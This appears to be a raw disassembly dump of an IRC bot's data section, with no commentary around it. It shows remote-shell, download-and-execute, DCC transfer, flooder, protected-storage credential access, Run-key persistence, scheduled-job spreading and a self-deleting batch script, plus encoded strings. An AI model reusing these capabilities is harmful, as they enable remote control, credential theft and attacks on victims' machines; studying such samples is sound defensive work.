dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h			; DATA XREF: sub_4018AF:loc_401942o
aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h		; DATA XREF: sub_401E38+36o
					; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69h ; DATA	XREF: sub_402A32+6B0o
dword_4184C0	dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402A32+699o
unk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ah	; DATA XREF: sub_402A32+C0o
dword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0		; DATA XREF: sub_403260+43o
					; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40332B+19Co
aModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h		; DATA XREF: sub_403FE5:loc_403FFDo
dword_418A1C	dd 9EC09195h, 0D0A198ABh, 0B6B0BEADh, 8Fh, 0 ; DATA XREF: sub_4043E9+6o
dword_418A30	dd 2E3031h		; DATA XREF: sub_4041B7+56o
dword_418A34	dd 2E323931h, 2E383631h, 0 ; DATA XREF:	sub_4041B7+3Bo
dword_418A40	dd 2E323731h, 0		; DATA XREF: sub_4041B7+20o
dword_418A48	dd 2E373231h, 0		; DATA XREF: sub_4041B7+5o
dword_418A50	dd 252E7525h, 75252E75h, 75252Eh ; DATA	XREF: sub_40D871+1CCo
					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah		; DATA XREF: sub_40435B+42o
dword_418A60	dd 7525h		; DATA XREF: sub_4055E5+458o
					; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_4055E5+31Eo
					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; .data:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_4064BF+31o
dword_418B54	dd 58323025h, 0		; DATA XREF: sub_406722+266o
					; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0		; DATA XREF: sub_406722+201o
					; sub_40A9CF+1C12o
dword_418B64	dd 7325h		; DATA XREF: sub_406722+1E3o
					; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset loc_418D98
		dd offset dword_418DA8
		dd offset dword_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset dword_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset dword_418C4C
		dd offset loc_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
dword_418BF0	dd 0C2D48FAFh, 0D8A189F2h, 0BD97B0BCh, 0DF85B08Fh, 0F5979287h
					; DATA XREF: .data:00418BE4o
		dd 0D1A28AE5h, 0ACF5BAh, 0
dword_418C10	dd 0C0CF838Bh, 0DBBC95F1h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BE0o
; ---------------------------------------------------------------------------


loc_418C24:				; DATA XREF: .data:00418BDCo
		mov	ds:0F4DCC796h, eax
		cdq
		scasd
		retf	0FFA1h
; ---------------------------------------------------------------------------
		dw 0F3B0h
		dd 0D48EB4B7h, 0D1F0C690h, 0DFB99FE9h, 0B68DB0B1h, 0D29EA389h
		dd 87h,	0
dword_418C4C	dd 0C3D08A83h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418BD8o
dword_418C5C	dd 0DFD89691h, 90B889D4h, 0BBE8ADh, 0 ;	DATA XREF: .data:00418BD0o
dword_418C6C	dd 0DFD896B1h, 9EBC9FF1h, 80BCE59Bh, 0D483A682h, 0C0F6C68Fh
					; DATA XREF: .data:00418BCCo
					; .data:00418BD4o
		dd 0EDh, 0
dword_418C88	dd 0DFD89691h, 0DDB889F1h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BC8o
dword_418C9C	dd 0D4D98FB5h, 9EBD8DF2h, 0A4AAF586h, 919CA794h, 0D5C58FA4h
					; DATA XREF: .data:00418BC4o
		dd 0D2A29BEAh, 2 dup(0)
dword_418CBC	dd 0D5C58F84h, 0D2A29BEAh, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BC0o
dword_418CD0	dd 0D1D98FB5h, 0FFEE8AF0h, 0A7B0F5AFh, 2 dup(0)	; DATA XREF: .data:00418BBCo
dword_418CE4	dd 0D1D98F95h, 0DBE08AF0h, 0F5B0h, 0 ; DATA XREF: .data:00418BB8o
dword_418CF4	dd 0D4D98FB5h, 9EBD8DF2h, 0BFAEE88Dh, 0C392A794h, 2 dup(0)
					; DATA XREF: .data:00418BB4o
dword_418D0C	dd 0DCC79E87h, 0CCAB88F2h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BB0o
dword_418D20	dd 0F9D98F95h, 0D0A19DF2h, 0B6A6F5E6h, 2 dup(0)	; DATA XREF: .data:00418BA8o
dword_418D34	dd 0D4D98FB5h, 9EBD8DF2h, 0BCB9FF84h, 0C1B6F595h, 0D3DE8A92h
					; DATA XREF: .data:00418BA4o
					; .data:00418BACo
		dd 0D1A78EFCh, 0A6h, 0
dword_418D54	dd 0DFD0898Eh, 0C6ABD4F3h, 0ADh, 0 ; DATA XREF:	.data:00418BA0o
dword_418D64	dd 0D5DE8AA1h, 0EDEE8EF3h, 0B6A8E2ADh, 0C4A5F589h, 0DDDE928Ch
					; DATA XREF: .data:00418B9Co
		dd 0CC9EDAF8h, 0A0BBF3A7h, 88h,	0
dword_418D88	dd 0C3C59581h, 0DBB69FB3h, 2 dup(0) ; DATA XREF: .data:00418B98o
; ---------------------------------------------------------------------------


loc_418D98:				; DATA XREF: .data:00418B90o
		stosd
		xchg	eax, ebp
		setalc
		retn
; ---------------------------------------------------------------------------
		dd 0C6ABD4EEh, 0ADh, 0
dword_418DA8	dd 0D1D489AEh, 0DB9DDAF1h, 0BAACE5ABh, 0F0D7AC8Fh, 0DFDF9297h
					; DATA XREF: .data:off_418B8Co
					; .data:00418B94o
		dd 0C7BA93EFh, 0A1BBC3E8h, 0D494BC8Dh, 2 dup(0)
dword_418DD0	dd 0D1C4958Eh, 0C6ABD4EEh, 0ADh, 0 ; DATA XREF:	.data:off_418B88o
dword_418DE0	dd 293Ah		; DATA XREF: sub_406A23+9Co
dword_418DE4	dd 5Ch			; DATA XREF: sub_406A23+1Bo
					; sub_406AE7+1Bo ...
dword_418DE8	dd 7078655Ch, 65726F6Ch, 78652E72h, 65h	; DATA XREF: sub_406B81+1Bo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_406C51+1Co
		align 4
a@echoOffDelete	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_406D90+A8o
		db ':deleteagain',0Dh,0Ah
		db 'del /A:H /F %s',0Dh,0Ah
		db 'del /F %s',0Dh,0Ah
		db 'if exist %s goto deleteagain',0Dh,0Ah
		db 'del %s',0Dh,0Ah,0
		align 4
a_bat		db '.bat',0             ; DATA XREF: sub_406D90+39o
		align 4
aWindowsDllLoad	db 'Windows DLL Loader',0 ; DATA XREF: sub_406E8E+20Do
					; sub_407148+19Do
		align 10h
aQuitSUninstall	db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_407148+177o
					; sub_407148+1C9o
		align 4
dword_418EB8	dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h
					; DATA XREF: sub_40732D+115o
		dd 2037325h, 206F7420h,	6B636F73h, 34300373h, 3752502h
		dd 65732002h, 72657672h, 7325h
dword_418EEC	dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40732D:loc_407423o
dword_418EF8	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 7320676Eh
					; DATA XREF: sub_40764D+6Ao
		dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh
		dd 2343003h, 2037325h, 0
dword_418F2C	dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h
					; DATA XREF: sub_4077DD+9Co
		dd 34300320h, 3732502h,	2
dword_418F4C	dd 20h			; DATA XREF: sub_407928+4Co
					; sub_407928+96o ...
dword_418F50	dd 30h			; DATA XREF: sub_407E0C+CBo
					; sub_40CA29+13Do ...
dword_418F54	dd 252E7325h, 73252E73h, 73252Eh ; DATA	XREF: sub_407F3D+118o
					; sub_40806A+BDo
dword_418F60	dd 9ED9958Fh, 0A395FEh,	0 ; DATA XREF: sub_408887+6o
; ---------------------------------------------------------------------------


loc_418F6C:				; DATA XREF: sub_408887+14o
		xchg	eax, ebp
		xchg	eax, ecx
		rcr	byte ptr [esi-33436017h], 0A9h
		mov	esi, 0FB96BCBDh
		xchg	eax, ebp
		retn
; ---------------------------------------------------------------------------
		dd 2 dup(0)
dword_418F84	dd 9ED9958Fh, 9FF9h, 0	; DATA XREF: sub_408887+22o
; ---------------------------------------------------------------------------


loc_418F90:				; DATA XREF: sub_408887+30o
		xchg	al, [edi-6B4C223Eh]
		stosd
		retf	0
; ---------------------------------------------------------------------------
		align 10h
dword_418FA0	dd 0D7D88985h, 0DFE09FF1h, 0ADh, 0 ; DATA XREF:	sub_408887+3Eo
dword_418FB0	dd 0D5D98F8Ch, 90A089F0h, 0FDB3FFABh, 0A09Ah, 0	; DATA XREF: sub_408887+4Co
off_418FC4	dd offset dword_4190E8	; DATA XREF: sub_4088FC+19r
					; sub_4088FC+60r
off_418FC8	dd offset loc_4190B4	; DATA XREF: sub_4088FC+8Ar
		dd offset dword_419098
		dd offset dword_419054
		dd offset dword_41903C
		dd offset dword_418FE4
		dd 2 dup(0)
dword_418FE4	dd 0DEC08986h, 0DAAF95F1h, 0BEBFF7E6h, 0C8D9A69Eh, 0DFD88E83h
					; DATA XREF: .data:00418FD8o
		dd 0D3A199B3h, 0BEBFF7E7h, 0D5D8A69Eh, 0DCD9918Dh, 91AA9BF2h
		dd 0BDB9F9BBh, 0C1D8B19Eh, 0D1D4968Dh, 0DFB7D5EDh, 8CB1FFA0h
		dd 0D49DB099h, 0D5DB8395h, 0CA91C8F9h, 0E2F3A1A5h, 0D48FB0D5h
		dd 2 dup(0)
dword_41903C	dd 0D7999597h, 0CDAB97FCh, 0BAA7BEF9h, 0D2D9B296h, 8B8Dh
					; DATA XREF: .data:00418FD4o
		dd 0
dword_419054	dd 0DEC08986h, 0DAAF95F1h, 0E2F1A3E7h, 82D8B3D4h, 818380D3h
					; DATA XREF: .data:00418FD0o
		dd 93F9C8A9h, 0B6EAA0F0h, 0D7CFE1D6h, 0D38FCBDBh, 8BE3C2ACh
		dd 0EABAA1A9h, 89C2B7C8h, 9FD2D5D7h, 0CDAF89F0h, 0FDBDFEB1h
		dd 92AD9Eh, 0
dword_419098	dd 0DEC08986h, 0DAAF95F1h, 0B0B7FDE6h, 0DE84BA89h, 0D3999284h
					; DATA XREF: .data:00418FCCo
		dd 97F2h, 0
; ---------------------------------------------------------------------------


loc_4190B4:				; DATA XREF: .data:off_418FC8o
		xchg	al, [edi-604D2E3Dh]
		mov	al, ds:0B9F9AA91h
		cld
		cwde
		mov	al, ds:8887C385h
		retn
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0D9A195DAh, 0BC8AF5A4h, 0D095B994h, 0C3D9AF90h, 0D2A29BE9h
		dd 0B6F0E2ADh, 0B083h, 0
dword_4190E8	dd 0DCD88996h, 90BC9BFFh, 0B4B1FFAFh, 0D2D9B097h, 8B8Dh
					; DATA XREF: .data:off_418FC4o
		dd 0
off_419100	dd offset loc_415353+2	; DATA XREF: sub_408342+2Co
dword_419104	dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh
					; DATA XREF: sub_4083AD+3CEo
		dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h
		dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h
		dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah
		dd 34300320h, 3642502h,	7A484D02h, 6152202Eh, 3203A6Dh
		dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h
		dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h
		dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h
		dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h
		dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh
		dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h
		dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh
dword_4191F4	dd 73h			; DATA XREF: sub_4083AD:loc_4086C8o
					; sub_4083AD:loc_4086E7o ...
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_4083AD+296o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4083AD:loc_4085EBo
					; sub_408B30:loc_408CB4o ...
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_4083AD+232o
					; sub_408B30+178o ...
a2003		db '2003',0             ; DATA XREF: sub_4083AD+1FFo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_4083AD+1E1o
		align 10h
a2000		db '2000',0             ; DATA XREF: sub_4083AD+1C3o
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4083AD+1A5o
		align 4
a98		db '98',0               ; DATA XREF: sub_4083AD+187o
		align 10h
aNt		db 'NT',0               ; DATA XREF: sub_4083AD+166o
		align 4
a95		db '95',0               ; DATA XREF: sub_4083AD+153o
		align 4
aNoSp		db 'no SP',0            ; DATA XREF: sub_4083AD+12Eo
		align 10h
a?:					; DATA XREF: sub_4083AD+124o
		unicode	0, <?>,0
aSysinfoThread	db 'Sysinfo thread',0   ; DATA XREF: sub_4087C4+2Bo
		align 4
dword_419284	dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h
					; DATA XREF: sub_408B30+2D4o
		dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh
		dd 203A656Dh, 2343003h,	2037325h, 7954202Eh, 203A6570h
		dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h
		dd 2037325h, 6946202Eh,	61776572h, 64656C6Ch, 3003203Ah
		dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h
		dd 3732502h, 25202C02h,	53202E75h, 64656570h, 3003203Ah
		dd 30250234h, 366322Eh,	424B2B02h, 6365732Fh, 5249202Eh
		dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h
		dd 20732579h, 2343003h,	2036425h, 72756F68h, 3207325h
		dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0
aGood		db 'Good',0             ; DATA XREF: sub_408B30+1F9o
		align 4
aAvarage	db 'Avarage',0          ; DATA XREF: sub_408B30+1E3o
aBad		db 'Bad',0              ; DATA XREF: sub_408B30+1CDo
aLan		db 'LAN',0              ; DATA XREF: sub_408B30:loc_408C8Fo
aModem		db 'Modem',0            ; DATA XREF: sub_408B30+14Do
		align 10h
aUnknown_0	db 'Unknown',0          ; DATA XREF: sub_408B30+F5o
					; sub_408B30+108o
aNetinfoThread	db 'Netinfo thread',0   ; DATA XREF: sub_408E4A+2Bo
		align 4
dword_419398	dd 5C3A41h		; DATA XREF: sub_408E8E+6r
					; sub_408F2E+4Er ...
dword_41939C	dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h
					; DATA XREF: sub_408F2E+270o
		dd 2037525h, 6F54202Ch,	206C6174h, 63617073h, 3203A65h
		dd 25023430h, 4D020375h, 72662042h, 2E6565h
dword_4193D4	dd 30037325h, 73250234h, 73250203h, 0 ;	DATA XREF: sub_408F2E+1EDo
dword_4193E4	dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h
					; DATA XREF: sub_408F2E+1C5o
		dd 20424D02h, 65657266h, 0
dword_419404	dd 202Eh		; DATA XREF: sub_408F2E+17Co
					; sub_408F2E+24Ao
aUnknown	db 'unknown',0          ; DATA XREF: sub_408F2E:loc_40902Do
					; sub_4129CA+34o
aRamdisk	db 'ramdisk',0          ; DATA XREF: sub_408F2E+F6o
aCdRom		db 'cd-rom',0           ; DATA XREF: sub_408F2E+E4o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: sub_408F2E+D2o
		align 4
